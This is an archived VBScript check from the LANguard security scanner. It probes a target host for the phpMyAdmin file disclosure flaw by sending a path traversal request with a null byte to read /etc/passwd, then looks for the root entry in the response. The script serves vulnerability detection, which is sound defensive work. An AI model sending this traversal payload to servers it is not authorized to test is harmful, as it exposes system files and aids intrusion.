home *** CD-ROM | disk | FTP | other *** search
/ PC Professionell 2006 May / PCpro_2006_05.ISO / files / free_security / languard / languardnss7.exe / phpMyAdmin_file_disclosure.vbs30 < prev    next >
Encoding:
Text File  |  2004-10-12  |  912 b   |  44 lines

  1. 'check the phpMyadmin File
  2. 'Disclosure Vulnerability
  3. 'we try to get /etc/passwd
  4.  
  5. Function Main 
  6.     Dim i As Integer
  7.     Dim objHTTP As Object 
  8.     Dim varHTTPResponse As Variant 
  9.     Dim varCgiDirs(3) As Variant
  10.     Dim objRegexp As Object
  11.     Dim bResult As Boolean
  12.     
  13.     ip = getparameter("ComputerIP")
  14.     port = 80 
  15.         
  16.     bResult = false
  17.         
  18.     varCgiDirs(0) = ""
  19.     varCgiDirs(1) = "/cgi-bin"
  20.     varCgiDirs(2) = "/scripts"
  21.     varCgiDirs(3) = "/phpMyAdmin"
  22.     
  23.  
  24.     Set objRegexp = CreateObject("Vbscript.regexp")
  25.     objRegexp.ignorecase = true
  26.  
  27.     objRegexp.pattern = ".*root:.*:0:[01]:.*"
  28.  
  29.     Set objHTTP = HTTP.Connect (ip,port) 
  30.  
  31.     For i = 0 To 3 
  32.         objHTTP.GetURL (varCgiDirs(i) + "/export.php??what=../../../../../../../../../../etc/passwd%00") 
  33.         objHTTP.Authentication = 1 
  34.         varHTTPResponse = objHTTP.SendRequest () 
  35.            If objRegexp.test (objHTTP.Body) Then              
  36.             bResult = true
  37.             Exit For
  38.           End If    
  39.     Next     
  40.  
  41.     main=bResult
  42.  
  43. End Function 
  44.